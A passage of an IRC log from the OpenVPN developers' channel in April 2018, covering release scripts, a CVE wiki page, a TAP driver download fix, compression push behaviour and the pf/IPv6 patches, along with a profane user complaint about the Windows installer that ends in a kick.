as we have much of the other stuff in there 03:48 <@mattock> plus people find them more easily from there rather than from /mattock 03:49 <@cron2> mattock: OpenVPN makes sense 03:49 <@mattock> ok 03:50 <@cron2> all the other mattock-goodness is in there too :-) ("openvpn-windows-buildtest" etc) 03:58 <@dazo> kitsune1: "Encrypted online storage of receipts anyone?" <<< backblaze b2 + rclone with encryption ;-) 04:00 <@mattock> https://github.com/OpenVPN/openvpn-release-scripts 04:00 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-release-scripts: Scripts for producing release artefacts and signing, pushing and verifyig them (at github.com) 04:01 <@mattock> cron2: yeah, and at some point I should start wrapping all those goodies together to simplify things 04:01 <@mattock> a lot of effort in those scripts went into signature verifications (due to CloudFlare and friends) 04:45 <@dazo> cron2: can you or someone you think is capable create this page? https://community.openvpn.net/openvpn/wiki/CVE-2018-9336 ... then I'll alert MITRE about it and the CVE can be released with a pointer to this page as well 04:49 <@mattock> dazo: and the contents would be? 04:50 <@dazo> that's where I'm missing the details ;-) .... I have the main overview, but as we have CVE pages for most of what we've released/fixed ... this one should have one too, and enlisted on the security updates overview page 05:14 <@cron2> dazo: can you do the initial create with the commit message, and I'll review? A bit busy today 05:18 <@dazo> I'll try to squeeze it in today ... hectic day here too :( 06:31 < tincantech> mattock: there is a problem with swupdate.openvpn.net : https://forums.openvpn.net/viewtopic.php?f=30&t=26276 06:31 <@vpnHelper> Title: Can not download Tap-Driver from website - OpenVPN Support Forum (at forums.openvpn.net) 06:31 < tincantech> the entire website appears to be down 06:35 < tincantech> no .. it is only the TAP driver file .. 06:37 <@mattock> tincantech: checking 06:42 < tincantech> I also wonder .. from the main downloads page the link reads "Installer, Windows Vista and later" .. Should that not be Win7 and later as officially Vista is no longer suppoerted 06:42 <@mattock> fixed, will mention that on forums 06:42 <@mattock> oh yes 06:42 < tincantech> thasnks :) 06:43 < tincantech> mattock: I don't know what you fixed but i still get the error .. 06:44 <@mattock> fixed 06:44 <@mattock> I probably have to flush cloudflare caches 06:44 <@mattock> hopefully not cloudfront also 06:44 < tincantech> ok 06:45 < tincantech> ok its working now :) 06:45 <@mattock> I flushed CloudFlare caches 06:45 < tincantech> thanks 06:57 <@cron2> uh, right, build-snapshot... is that updated to point at the new driver .zip? 07:03 < tincantech> cron2: http://build.openvpn.net/downloads/releases/tap-windows-9.22.1-I601.exe is listed here http://build.openvpn.net/downloads/releases/ 07:03 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net) 07:11 <@cron2> tincantech: that was not my question :) 07:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 07:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:30 < tincantech> cron2: if you mean build-sys build.vars .. no that still points to the old version 07:34 < tincantech> actually .. it is hard to tell .. 07:34 <@cron2> so, don't try :-) - that question needs to be answered by mattock 07:38 <@cron2> argh 07:38 <@cron2> syzzer sent a v3 of the /92 patch and I totally missed it (I was wondering why nothing moved forward...) 07:38 <@cron2> syzzer: you need to be poking me more :) 07:45 -!- lev__ [~lev@openvpn/corp/lev] has joined #openvpn-devel 07:45 -!- mode/#openvpn-devel [+v lev__] by ChanServ 08:05 <+lev__> hey, it seems that server pushes lz4-v2 compression if there is 'push compress lz4-v2' in server config no matter if client announced support for it 08:06 <+lev__> would it be correct behaviour for server to spit a warning and not push it? 08:06 < tincantech> cron2: latest build-sys downloaded this tap driver : Saving to: ‘tmp/tap-windows-9.22.1-I601.exe’ 08:06 <@cron2> lev__: huh? server does not push anything on its own 08:06 <@cron2> oh, well, if you put a push into the config, it will push, right 08:07 <@cron2> there is no feedback loop "*this* pushed option depends on *that* IV_ variable from the client" 08:07 <@cron2> (for *no* pushed option) 08:08 <@cron2> lev__: what you want is a client-connect script that looks at IV_ variables and generates "push compress lz4-v2" plus "compress lz4-v2" on the fly 08:09 <+lev__> what is happening - if client has no support for lz4-v2 but server pushes it (since it is specified in config), connection is established but client reject packets > 300bytes - since server uses compression and client uses stub_v2 08:09 <+lev__> client=ovpn3 08:10 <@cron2> lev__: yes. If you misconfigure your server, your VPN will not work. 08:11 <+lev__> but would it make sense to have that check inside server code instead of script ? 08:11 <@cron2> now, Heiko and I have been discussing "why is the server not doing compression autoselect based on configured preferences plus client-IV_ values" for a while, and nobody had time to propose something specific, let alone write code :-) 08:11 <@cron2> --compression-autoselect lz4-v2:lz4:lzo:none 08:12 <@cron2> something like that, on the server side, might get the job done... and is certainly easier than NCP 08:13 <@ordex> I think what lev__ would like is more of a "failover": I (server) have lz4-v2 configured, but the client does not support it -> switch to none. 08:13 <@cron2> something we need to agree on is "what happens if there is no client-acceptable cipher in the autoselect list?"... 08:13 <@ordex> so not real autoselection, but just drop compressoin if what I want to use is not supported 08:13 <@cron2> ordex: this is the same thing 08:14 <@cron2> if you write all the code to verify client capabilities just to set the server to "none" (+ push "compression none"), then you can add two more lines to make it just select the "best" from an ordered list 08:14 <@cron2> (plus, what lev__ has to day is "there is a *push* command in the server config, which also needs to be overriden") 08:15 <+lev__> I think there has to be some indication that options are misconfigured 08:15 <@ordex> cron2: yeah. then how about making it "compress lz4:lz4-v2:none" instead of adding a new option? 08:16 <@cron2> lev__: not sure this is a reasonable way forward. Make a well-working automatic compression selection, and then document(!) that "if you push compression settings, make sure your clients understands what you send them" 08:17 <@cron2> ordex: this stands to be debated. An explicit option makes it explicit "server, do something automatic here!"... so what would happen if you just do "compress lz4"? Would that be "autoselect lz4, or fail" or "do not do autoselect"? 08:18 <@ordex> cron2: right, the latter. so it would be compatible with todays behaviour (hence doable with one option) 08:18 <@ordex> (I think) 08:18 <@cron2> ordex: so how do you specify "do autoselect, but only pick lz4"? 08:18 <@ordex> what is the difference with "do not autoselect, but use lz4 or fail" ? autoselect among "lz4" means that if lz4 is not supported then it will fail, no? 08:19 <@cron2> (the argument goes along the lines of "why do we have an extra --ncp-ciphers argument, and not just overload --cipher")? 08:19 <@cron2> ordex: well, one is "the server will actually look at client variables, and do something based on that" and the other is "the server will do lz4, fullstop" 08:19 <@ordex> oh yeah, might be similar. but I have no knowledge of that decision 08:20 <@cron2> if you have clients that just do not want to send peer-info but can do lz4... 08:20 <+lev__> compression-autoselect would be a good feature, but we don't have understanding (yet) how it should be implemented. What I want is to provide an indication that "you are pushing option which will break VPN", I think this is different 08:20 <@ordex> oh ok. I forgot thos is possible 08:21 <@cron2> lev__: it's the same thing, in the end. In one case, you look at config variables, match that to IV_ values from the client, and warn if you are unhappy with the result. In the other case, you do not warn but generate config options to be pushed 08:22 <@cron2> but what you propose means actually grepping through all the to-be-pushed options for a mismatch, and I do not think this is a good approach 08:22 <@cron2> push is lists, free-form, etc. 08:23 <@cron2> so I see "go through the list of to-be-pushed options to find a possible problem" as *more* effort with *less* benefit than "just generate proper config to be pushed" 08:23 <+lev__> I see, I haven't thought about other options, just compression 08:24 <@cron2> right, but compression might be hidden in a long list of "push route here, push route-ipv6 there, push compress, push cipher foo"... :-) 08:25 <@cron2> and you only know the list when all the plugins, client-connect-scripts, ccd/ files etc are done building the push list 08:25 <@cron2> (which opens the interesting question on whether compression autoselection should happen before or after other sources of config bits...) 08:35 < tincantech> cron2: just FYI .. i just built 2.4.6 for windows using build-sys and have it installed ok - tap driver is 9.22.1 dated 15/apr/18 08:36 <@cron2> tincantech: cool. thanks. 08:36 < tincantech> driver version still says 9.0.0.22 08:39 <@cron2> this is to be expected, as the 9.22.x.x patch has only been sent today :) 08:42 < tincantech> yeah .. just read it ;) 08:48 <@cron2> *sigh* 08:49 <@cron2> it seems to be really hard, almost impossible, to include such unimportant details like "os version" when reporting a driver installation/signature failure... 08:49 <@plaisthos> on Minix 08:49 <@cron2> .oO(does minix have a tun/tap driver? if not, we might need to write and maintain another one...) 08:51 <@plaisthos> no idea, ask Intel about it, they seem to be the only ones how use Minix in production 08:52 <@cron2> I had a colleague at university who was running minix for a while 08:52 <@plaisthos> and now your own systems all run Minix :) 08:52 <@cron2> ... to bootstrap linux kernels, if I remember right... :-) 08:52 <@cron2> there is minix inside this management thingie? 08:52 <@plaisthos> yes 08:53 <@plaisthos> Intel's Management Engine runs Minix 08:53 <@ordex> omg 08:53 <@ordex> :) 09:16 <@ordex> do we really like to use { } around oneliner blocks? 09:16 <@cron2> the style guid says so 09:16 <@ordex> oky 09:16 <@ordex> didn't remember if that was included. thanks for the reminder :) 09:16 <@cron2> there have been cases of 09:16 <@cron2> if (complicated) 09:16 <@cron2> very_complicated_long_function( 09:16 <@cron2> with, many, 09:16 <@cron2> arguments) 09:16 <@cron2> else 09:17 <@cron2> something half a page later; 09:17 <@cron2> and a few #ifdef mixed in 09:17 <@ordex> :D 09:17 <@cron2> where we really lost track of "where does that else belong to?" so I think syzzer mandated "{} everywhere!" 09:17 <@ordex> :D 09:17 <@ordex> yeah that is just ugly i believe (sorry!) 09:22 <@cron2> lots of our code was just ugly before the great style wars 09:23 <@ordex> hehe 09:33 <@cron2> anyone here who wants a free Axil311? with TWO CPU modules! the fast ones, 40 MHz each, and 1M cache 09:34 <@ordex> is it good as heater? 09:34 * ordex has no clue about what it looks like 09:37 <@plaisthos> Sun SparcStation 10? 09:37 <@plaisthos> I thanks I passed that offer already over ten years ago 09:38 <@cron2> plaisthos: yeah, the Axil311 is a SS10 clone. Supposedly more robust cooling (it definitely sounds like *powerful* cooling) :-) 09:39 <@cron2> http://uhs.vm.ntnu.no/items/1792 09:39 <@vpnHelper> Title: Universitetshistorisk samling (UHS) (at uhs.vm.ntnu.no) 09:39 <@cron2> the university museum... :) 09:43 <@dazo> hehe ... from a Norwegian university! :-P 10:01 -!- Netsplit *.net <-> *.split quits: @vpnHelper, +lev__ 10:01 -!- Netsplit over, joins: +lev__, @vpnHelper 10:01 -!- ServerMode/#openvpn-devel [+voo lev__ vpnHelper d12fk] by barjavel.freenode.net 11:10 -!- Netsplit *.net <-> *.split quits: @cron2 11:34 < timemob> how to lose customers 101 11:34 < timemob> > make windows installer of software package 11:35 < timemob> > doesnt work out of the box 11:35 < timemob> > running shit scrolls miles of crap in a cli console 11:35 < timemob> > first message a user sees is some popup box about some "config" file, or that something isnt found or isn't working 11:35 < timemob> guys its fucking 2018 11:36 < timemob> i shift-delete any software that opens a command fucking line window for any fuckign reason whatsoever 11:36 < timemob> why even bother making a GUI for shit if youre just gonna scroll text? 11:36 < timemob> (why even bother making a windows product) 11:37 < timemob> here's a protip if you want normal people to actually use openvpn 11:38 < timemob> 1. ditch the fucking config popup shit. make user enter username/pass/ip address/whatever and fuckign save it on first run 11:38 < timemob> 2. make sure default install actually fucking works on normal machines (not just some hacked up super hax0r setup in your bbasement) 11:39 < timemob> 3. in relation to 2, make sure to fucking ship any required msvc runtime/etc stuff WITH YOUR INSTALLER 11:39 < timemob> seeing shit about services not starting because you were too dumb to do a static link with vcruntime and needs some random dll is fucking annoying as hell 11:40 < kitsune1> timemob: what software are you talking about -- sounds like some broken package from a commercial provider. None of the official releases do anything like what you have described. 11:40 < timemob> w h a at 11:40 < timemob> openvpn-install-2.4.6-I601.exe straight from your site 11:41 < timemob> it does all of those things and more 11:41 < timemob> but its already uninstalled 11:41 < timemob> (also, 11:41 < timemob> 4. make sure your uninstaller actually wipes EVERYTHING. i had to manually delete user\openvpn shit 11:44 < timemob> as a casual computer user and not soe n3rd, i should be able to follow the 1. click setup, 2. enter basic details 3. connect process with this shit, and the actual experience was far from it. 11:49 < tincantech> c'est la vie .. 11:49 < timemob> i don't speak gibberish 11:49 < tincantech> your previous statements prove you do .. 11:49 < kitsune1> timemob: you are right -- I just installed it and command windows after command windows pupup and keeps scrolling till the end of time. Had to dump the laptop in the bin and get a new one. Enough of VPN -- do I even need a vpn? Dont think so. I'm out of here. 11:50 < tincantech> lol 11:51 < timemob> kitsune1: literally what i had to do before after isntalling some other opensores filth. it added so much trash to the system there was no way to fix it but format and reinstall windows. 11:51 < timemob> i forgot what it was, wasn't openvpn tho 11:52 < tincantech> i think he is yankin' your chain .. 11:52 < kitsune1> yeah opensores hurt. hurt bad. I've been there. 11:52 < timemob> tincantech: everything i said until kitsune1 started weeb-trolling has been 100% true 11:52 < tincantech> no it is not .. 11:53 < tincantech> you are just very very impatient 11:53 < timemob> then go download the installer and run it on a fresh win10 1706 install 11:53 < timemob> incorrect. 11:53 < timemob> i am a normal user 11:53 < tincantech> i did yesterday when it was released 11:53 < tincantech> and i built my own today 11:53 < timemob> > built, fucking snort. 11:54 < timemob> i'm sorry, but i did say Im a normal user. i don't need to see miles of shit scroll by in a terminal. 11:54 < tincantech> anyway .. if you want to ask for help try #openvpn or forums.openvpn.net 11:54 < tincantech> oh and read the fucking manual and howto first 11:54 < timemob> nah, there's nothign to ask. its deleted and i'm leaving china tomororw and windows vpn works good enough for the time being 11:54 < timemob> the point is that, i'll never recommend openvpn to anyone for any purpose 11:54 < timemob> becuase the user experience is garbage 11:54 < timemob> absolute and utter garbage 11:55 < tincantech> what ever .. it is open source .. join the dev team and improve it along with your potty mouth 11:55 < timemob> maybe this is why it sucks? that they let any clueless folks join" and "improve" things 11:55 < timemob> until stuff is unusable b y normal peopel 11:56 < tincantech> by "normal people" you mean idiots like you ? 11:57 < timemob> why are you trolling? did you read anything I wrote above? 11:57 < timemob> installer does not create a working setup out of the box. 11:57 < tincantech> did you read anything you wrote abobe 11:57 < timemob> user experience with initial setup is terrible 11:58 < timemob> yes, because iw rote it 11:58 < tincantech> do you walk into a meeting and start like that ? 11:58 < timemob> yes. 11:58 < timemob> when theyre not paying me to be there 11:58 < tincantech> what ever 11:58 < timemob> ( = open source) 11:58 < timemob> if I downloaded / paid for a commercial package and it did that 11:58 < timemob> you bet i'd be refunding it asap 11:58 < tincantech> go cry to your mommy 11:58 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:59 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 11:59 < timemob> i mean making basic things like your services having all runtime/etc dependencines in installer so that they actually can START UP after install would be a nice thing to hae for a smooth experience, yes? 12:00 < timemob> i shouldn't need to read some 'readme' and find out i need vcruntime 2013 or someshit to make it work, if its needed, it should be in installer 12:00 < tincantech> it works for me on win10 perfectly 12:00 < timemob> if it did, i wouldn't be here complaining 12:00 <@cron2_> timemob: what are you talking about? which platform, which component? 12:00 < timemob> cron2_: <timemob> openvpn-install-2.4.6-I601.exe 12:00 <@cron2_> (which installer, btw, as there are lots of different folks bundling "things") 12:00 < timemob> straight from your site. 12:00 <@cron2_> missed that part, got disconnected 12:01 <@cron2_> what platform? 12:01 < tincantech> cron2_: i'll paste serv his comments for you 12:01 < timemob> win10 1706 12:01 <@cron2_> tincantech: thanks 12:01 < timemob> 1709 rather 12:10 <@mattock> captcha on community.openvpn.net is now gone 12:10 <@mattock> \o/ 12:23 < tincantech> cron2_: sorry for the delay .. see https://dpaste.de/k3Ej 12:24 <@cron2_> well 12:24 < timemob> what. syntax highlighter did you use for this 12:24 * cron2_ recommends that timemob just deletes openvpn, and gets some paid for product where you have people that are paid for getting this sort of language 12:25 < timemob> cron2_: the deletion has already occured, don't worry. 12:25 <@cron2_> I am *not* going to invest my free time into someone who is not willing to at least start politely 12:25 -!- timemob was kicked from #openvpn-devel by cron2_ [timemob] 12:27 <@cron2_> what made you keep your patience with that idiot for so long...? 12:28 < pekster> Classy IRCname too :\ 12:29 < tincantech> lol 12:29 < tincantech> that must be the first person i have seen actually kicked from this chaneel ! 12:39 < kitsune1> I thought that entertaintment was hired by the management to keep up our spirits.. 13:12 <@ordex> LOL 13:13 <@ordex> I normally just reply with "you can send a patch" 13:13 <@ordex> :D 13:18 <@cron2_> if that guy was actually serious (and not just looking for someone to troll) he won't understand that - looks like he expected a shrinkwrapped VPN provider package "enter your username and password, and off you go" 13:18 <@cron2_> so there is nothing we can do better to make him happy 13:18 <@cron2_> or no patch 13:25 <@ordex> yeah maybe, I don't even want to think about what he wrote. does not deserve that 14:58 <@ordex> it happened!! 15:11 < tincantech> ok .. i'll bite .. what happened ? =| 15:13 <@ordex> multisocket is out! 15:13 <@ordex> :) 15:13 < tincantech> oh .. i think i see now .. cool =] 15:13 < tincantech> yeah *just* reading now .. looks cool 15:23 < tincantech> ordex: do you know any thing about Salvador Dali's work ? 15:34 < tincantech> put it thisd way, he was known for many things, one of which was painting things like "skulls within skulls within .." etc .. and reading your multi.ip.port i imagine all the work you put into ferreting into all those bits of code to make the "switch" 15:34 < tincantech> and i bet you enjoy it so it's not even work at all ! 15:35 < tincantech> which is cool :) 15:44 <@cron2_> oh, wow 15:44 <@cron2_> you go watch TV for an hour, and then the world has changed 16:17 * tincantech wonders what cron2_ watches on tv 16:21 <@dazo> probably something which enables him to get frustrations ventilated without affecting his close surroundings :-P 16:29 < kitsune1> walking dead ? 16:33 < kitsune1> Dali? Distorted realities and existentialism in twisted computer code 16:36 < tincantech> lol ;) 16:39 < tincantech> "twisted computer code" indeed ! I find it fascinating how code of any level can engage the mind of the observer 16:43 < kitsune1> Sounds like the posterity will open new Reina Sofia's and Louvre's for exhibiting surreal computer code -- so convoluted that no one can make any sense. Or everyone has their own interpretation. 16:46 < tincantech> that sounds like Futurama! but i get what you mean ;) maybe the first gen quantum os would be a candidate 16:48 < tincantech> everybody *can* have their own interpretation .. it's how it works 16:51 <@plaisthos> oh wow multi socket code :) 16:53 < kitsune1> Yeah, but isn't computer code supposed to be objective unlike art... 16:53 <@plaisthos> ordex: gratulations for having more motivation than me! 17:00 < tincantech> kitsune1: for me, good code that i understand does resemble art 17:09 < kitsune1> Not the "bad code" that staged a scene about openvon installation earlier today :) 17:09 < kitsune1> openvpn 17:17 < tincantech> lol .. to be honest .. i don't mind if he came here to swear and rant .. it was fun ;) 17:18 < tincantech> but it does waste a lot of other ppls time 17:37 < tincantech> it could have been interesting if we found out what 'really' happened .. 18:57 < kitsune1> tincantech: sounded like net 4.0 or whatever is needed for openvpnserv2.exe was not there -- there are no other dependencies, so it has to be that? And that pissed him off and his impression went downhill from there? 19:06 < tincantech> kitsune1: something he deliberately uninstalled .. ? 19:14 < kitsune1> Actually he said Win10 -- but that ships with Net 4.6, so he wouldn't need to install anything.. No idea what he was talking about. Forget him -- bad code. 19:14 < tincantech> hey :) 19:15 < tincantech> i think if there was a real problem we would know ;) 19:16 < kitsune1> Never heard any Windows user complaining like that -- but I don't go to the forum, so not sure.. 19:19 < tincantech> ha! 19:20 < tincantech> the last person i saw moan like that about openvpn was novaflash 19:20 < tincantech> oo .. no slack in here ;) 19:22 < tincantech> <q> kitsune1 | Never heard any Windows user complaining like that</q> 19:23 * tincantech is speachless 19:26 < tincantech> in fact .. i do have one comment .. 19:26 < tincantech> I swaer at windows like that every time i have to use it .. which is almost every day 19:27 < tincantech> and every update it gets worce .. and that is provable 19:28 < tincantech> they add another layer of some [ .. ] that I have to click through to get to what took me one less clicks last update .. and we are now at Many updates 19:30 < tincantech> Even task manager now has one extra layer to click through .. it shows nothing by default except "show more information" .. they are trying to break my mouse ! 19:30 < tincantech> and i like my mouse ;) 19:33 < tincantech> and .. i only invested in a windows 10 pc so i could help test openvpn .. and it was so cheap that it is really a win7 -> win10 .. so it is a faker ! (disappointed) .. but it does run HyperV fairly well so its not too bad 19:37 < tincantech> uninstalling openvpn now takes one extra click and some swaering because it is no longer "programs and apps" it is "appps and features" .. shudder! 19:37 < kitsune1> What I meant was moaning about openvpn installation or usage on Windows. Of course Windows users swear all the time, for good reason :) 19:37 < tincantech> i know what you meant .. i was having a little fun ;) 19:39 < kitsune1> The love hate relationship folks have with Windows is so funny... 19:41 < tincantech> i will ask .. are you a windows developer .. like write code using windows C/C++ etc ? 19:44 < tincantech> the thing is .. windows is SO pervasive into "normal" peoples lives that they get no choice .. 19:44 < kitsune1> I support number crunching codes on clusters. But there are lots of Windows users where I work. So see windows issues all the time.. 19:44 < tincantech> when it changes what can they do .. ? 19:46 < tincantech> ok .. so two things 19:46 < kitsune1> have to go, later.. 19:47 < tincantech> 1. windows users issues at work .. are they running W10 fully upto date full release .. or some corp fragment 19:48 < tincantech> 2. so you don't support the users .. ? 19:48 < tincantech> dang it .. he went 19:48 < kitsune1> still here, but on a call :) 19:49 < tincantech> just yankin; yr chain ;) 19:50 < tincantech> are you like on some indian hotline for AT&T or something .. ? :D 19:50 < tincantech> as in you are tech support for Virgin or what not 19:51 < tincantech> i bet i have spoken to you in the past 19:52 < tincantech> "please put me through to account termination .. click <click again> .. hi my name is eddy and i heard you were thinking of leaving us .. " 19:54 < kitsune1> no talking to my brother ! 19:54 < tincantech> lmao ! 19:54 < tincantech> c'est la vie 20:11 < tincantech> my personal favourite by Dali is "Civil War" .. It is the most powerful visual image I have ever experienced 20:14 < tincantech> including porn 20:17 < tincantech> "Civil War" has No ambiguity 20:18 < tincantech> and yet .. it has soo much 20:22 < tincantech> and .. it is not subject to "updates" ... woah Art *not* imitating Life! (and yet mocking it) 20:55 < tincantech> Last wort: a one legged head, trampling the only thing capable of lifting it .. 21:00 < tincantech> Dali was a genious .. ovpn-dev is of that order 21:12 -!- cron2_ [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 256 seconds] 21:17 < tincantech> do i need "grammerly" .. ? lol .. i believe you know what i meant 21:23 < tincantech> i am so curious .. who is the *original* "forker" 21:23 < tincantech> bill/linus/steve ? or somebody else ? 21:27 < tincantech> the first person to actually successfully fork and replace the original via forking methodology 21:28 < tincantech> not just ripping off the idea 21:29 < tincantech> has it even ever happened yet 21:29 < tincantech> lol 21:30 < tincantech> what is done is done 21:49 <@ordex> plaisthos: :D 21:56 <@ordex> tincantech: I see skulls EVERYWHERE! 21:56 < tincantech> hehehe :) 21:58 < tincantech> not to get too existential .. but so do i 21:58 <@ordex> :P 21:59 < tincantech> ur2cool 22:02 < tincantech> be like a celebrity and give us some Real inside details .. 22:02 < tincantech> howto turn code into fame! 22:02 < tincantech> lol 22:03 < tincantech> btw: with total respect 22:11 < tincantech> ^h 22:13 < tincantech> my bollox not yours 22:18 < tincantech> just get that ipv6 pf in ..p-l-ease 22:18 < tincantech> i have tested it on linux and win10 .. it works 22:19 < tincantech> make the change to pf-dir if and whenever 22:22 < tincantech> and fk the consequences .. the rope by which 22:23 < tincantech> 12fc:1918::ipv:4 22:24 <@ordex> tincantech: as far as I remember patches can already be merged as they are, no? the pf-dir thing I think was something extra? 22:24 * ordex does not remember the full discussion 22:26 < tincantech> so far i know this: pf ipv6 works well .. 22:27 < tincantech> the pf-dir was a brilliant solution 22:27 < tincantech> but no doubt would piss some ppl off 22:28 < tincantech> i am not sure which should actually go first 22:30 < tincantech> yeah now i remember .. do away with the plugin .. not a popoular idea 22:30 < tincantech> popular with me .. but not so else where 22:37 < tincantech> such a dilema .. 22:39 < tincantech> fuck you ender| 22:40 < tincantech> LOL 22:42 < tincantech> ender|: did you miss it or what ! 22:44 < tincantech> ordex: your pf/ipv6/dir worked perfectly .. i am sort of know why i did not make release .. like an old dog knows what that gun is for 22:45 <@ordex> tincantech: you could reply to the patches on the ml as a "ping" 22:46 < tincantech> i will seriously look into that .. i'm sure i willl fk it up but i will try 22:49 < tincantech> even in my funky socks .. you make me 22:49 < tincantech> oops sorry 22:50 < tincantech> :)) 22:51 <@ordex> lo 22:51 <@ordex> l 22:52 < tincantech> dang it .. 22:53 < tincantech> this is the rub .. 22:54 < tincantech> ipv6 in pf good 22:54 < tincantech> pf-dir excellent 22:54 < tincantech> backward compatibitiy .. no fucking idea 22:55 < tincantech> is it ovpn job to do pf at all ? don't get me started 22:56 < tincantech> v4 or v6 22:57 < tincantech> now *that* is more interesting ... why does openvpn feel the need to filter .. at alll 22:58 <@ordex> because of internal routing not going out the interface 22:58 < tincantech> and what about --client-xnat 22:58 <@ordex> you could let the traffic go out and in and pass through iptables but would be much more critical in terms of performance 22:59 <@ordex> that's something else 22:59 < tincantech> ug .. 23:00 < tincantech> it is a vpn .. even i can see that filtering in the app layer is kind of UN-cool 23:00 < tincantech> i love your work 23:00 < tincantech> but i am torn between ack and nak 23:01 < tincantech> and i was the one who asked in the first place 23:02 < tincantech> of course .. then there is the tun vs tap ideal .. 23:03 < tincantech> these ideas are nopt properly hatch3ed yet 23:07 <@ordex> hehe 23:07 <@ordex> you should either support ipv6pf of ask to remove pf at all 23:07 <@ordex> and since the latter is not going to happen 23:08 <@ordex> maybe supporting ipv6 is not that bad after all :) 23:10 < tincantech> technically i would go for "not at all" 23:10 < tincantech> but as you put it that way .. i will try to resurect it 23:11 <@ordex> well, technically openvpn does a lot of things that arenot strictly vpn related. but that's also openvpn's signature ;) 23:11 < tincantech> yep .. i get that sitnl etc 23:12 <@ordex> well sitnl is interface handling code, thus I think it's ok to be in the vpn service 23:13 < tincantech> totally 23:16 <@ordex> I wonder if after pushing the socket code hard enough it will be easier to moe towards a thread-safe implementation...but that will still require a lot of surgery.. 23:16 <@ordex> and a lot of sleepless nights :D 23:20 <@ordex> ender|: I like your IP ;) 23:20 <@ordex> seems like the answer to everything 23:22 < tincantech> ordex: <| Dali .. i got to go man .. but you are awesome 23:22 <@ordex> goodnight! 23:23 < tincantech> BTW: not just you 23:23 < tincantech> double negative=positive 23:25 * tincantech is gone 23:25 <@ordex> *sgrat* *sgrat* --- Day changed Thu Apr 26 2018 01:09 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:50 <@cron2> ordex: still awake? 03:50 <@ordex> of course 03:50 <@ordex> beer time here 03:50 <@ordex> cron2: ^ 03:54 <@cron2> good 03:55 <@cron2> question about iOS and OpenVPN - when you are using the iPhone as tethering device to give wifi to your laptop, and then run openvpn on the iPhone, what happens? 03:55 <@cron2> on Android, the tethered device will not "see" the VPN, as they do per-user-routing-table tricks to have VPN only active for the user that started it 03:56 <@ordex> cron2: good question and to be honest I don't have an answer 03:56 <@ordex> sorry .-. did not test that 03:57 <@cron2> why? :) 03:57 <@ordex> not part of the use cases I was given :-P 03:57 <@ordex> and I am not really a iOS user :D hence never did that for my own entertainment either 03:59 * cron2 is considering to change to iPhone when my symbian nokia finally breaks (because I like smartwatches, and Android just annoys me more and more) 03:59 <@cron2> and not having to carry around an extra LTE-to-VPN router would be nice 04:00 <@cron2> last vacation I carried around this one: http://www.rut950.com/wp-content/uploads/2015/05/RUT950-1.gif 04:01 <@ordex> ah yeah you showed me :D 04:01 <@ordex> military grade almost ! 04:01 <@ordex> I am aiming at the Librem 5 by Purism (http://puri.sm) when it'll be out 04:01 <@vpnHelper> Title: Purism High-quality laptops that protect your freedom and privacy (at puri.sm) 04:01 <@ordex> sounds like a very nice open alternative to standard phones and android 04:02 <@cron2> looks nice indeed 04:02 * cron2 wonders whether it will do IPv6 04:03 <@ordex> I am pretty sure it will, but in either case you can contribute easily I think 04:03 <@cron2> well... one would expect a 2018-built LTE device to support IPv6... 04:03 <@cron2> ... but the RUT950 told me that this can lead to ... surprises 04:04 <@cron2> "yes, we can negotiate an IPv4v6 PDP with the cellular network, but nah, we're not using the IPv6 info we receive" 04:05 <@ordex> lol 04:05 <@ordex> this is so sad 04:05 <@ordex> I am wondering if ipv4 exhaustion and ipv6 was just yet another market bubble and nothing else 04:05 <@ordex> mah 04:06 <@cron2> some people are getting seriously rich right now 04:06 <@cron2> like, selling off a "class B" network about half a million US$... 04:06 <@cron2> ... or building carrier-grade nat boxes where carriers get to pay like ~500.000 US$ for the 40G-NAT-line card for their big routers... 04:06 <@cron2> insanity 04:06 <@ordex> yeah 04:07 <@ordex> well, it's all about money in these cases, nothing else. "what's the right thing to do to get into a better state" is probably not the top priority 04:07 <@ordex> we;ll keep on patching the infrastructure until it will really be time to do something 04:24 <+lev__> if server has --compress without parameterss, does it use stub-v2 ? 05:19 <@cron2> lev__: to be honest, I have no idea 06:03 <@ordex> cron2: so currently if you specify an hostname as remote and the OS gives you an ipv6 first, but you are using udp4 as proto, it will still try to connnect using ipv6? 06:03 <@ordex> uhmmm 06:16 <@cron2> ordex: no 06:17 <@cron2> udp4/udp6 on the client will be used to tell getaddrinfo() "I'm only interested in v4/v6 results" 06:17 <@ordex> argh I was running a ovpn3 based client 06:17 <@ordex> right via the hints object 06:17 <@ordex> then it's ovpn3 that may not honour that aspect 06:19 <@cron2> I'd argue that this is a bug :) 06:19 <@cron2> most other programs have a -4 or -6 switch to achieve this... and if I tell it, like, "ssh -4 $hostname" and it queries for v6 and tries that, it's a bug 06:20 <@cron2> our "-4" switch is "udp4", and at least for 2.x it is somewhat well-documented :) 06:31 <@ordex> agreed 06:54 < tincantech> mattock: perhaps you can recruit some help with testing the TAP installer https://forums.openvpn.net/viewtopic.php?f=5&t=26280#p78454 06:54 <@vpnHelper> Title: TAP installer failed on Windows 10 1709 with 2.4.6 - OpenVPN Support Forum (at forums.openvpn.net) 07:07 <@ecrist> I've forgotten how much a first week at work sucks. 07:08 <@ecrist> Can't do anything and nobody has the time to help you figure things out. 07:09 <@ordex> I hope you have a purpose, at least 07:09 <@ordex> :D 07:18 < tincantech> getting paid for nothing ;) 07:25 < tincantech> ha .. windows just decided to remove my auto-start profile from the registry .. 07:26 < tincantech> no explanation 07:26 < tincantech> oh no .. i re-installed .. derrr 07:26 <@dazo> pebkac :-P 07:29 < tincantech> dang it 07:37 <@ecrist> getting paid for nothing is the worst 07:38 <@ecrist> Here, sit at a desk and pretend to work for 8 hours 07:38 <@ecrist> Especially when I have principles and honesty. 07:38 * ecrist only billed partial days Mon/Tue :( 07:48 <@dazo> :/ 07:48 <@dazo> sounds like an opportunity to ask for permission to bill community work when you're not having anything more urgent on your table 07:49 <@ecrist> dazo: this is temporary while I wait for software installs and privileged system access on the servers/applications I'm here to administer 07:49 